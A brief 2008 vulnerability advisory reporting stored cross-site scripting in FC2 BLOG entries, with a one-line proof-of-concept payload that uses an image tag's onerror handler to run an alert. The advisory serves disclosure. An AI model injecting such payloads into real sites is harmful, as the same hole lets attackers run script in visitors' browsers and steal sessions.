FC2 BLOG Cross-Site Scripting Vulnerabilities

[xsp <xisigr@xxxxxxxxx>]

Subject: FC2 BLOG Cross-Site Scripting Vulnerabilities
Application: FC2 BLOG
Vendor:BLOG.FC2.COM
Corporation: FC2, Inc.
DATE : 9 Oct 2008
Description: FC2 BLOG Cross-Site Scripting Vulnerabilities

Vulnerability:
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They do not properly sanitize the potentially malicious input content
to be rendered and, as a result, an attacker might provide malicious
HTML content as part of A New Entry.

Exploit:
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Write A New Entry in FC2 blog:
<input type="image" src="x" onerror="javascript:alert(/XSP/)" />

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xisigr[topsec]
xisigr@xxxxxxxxx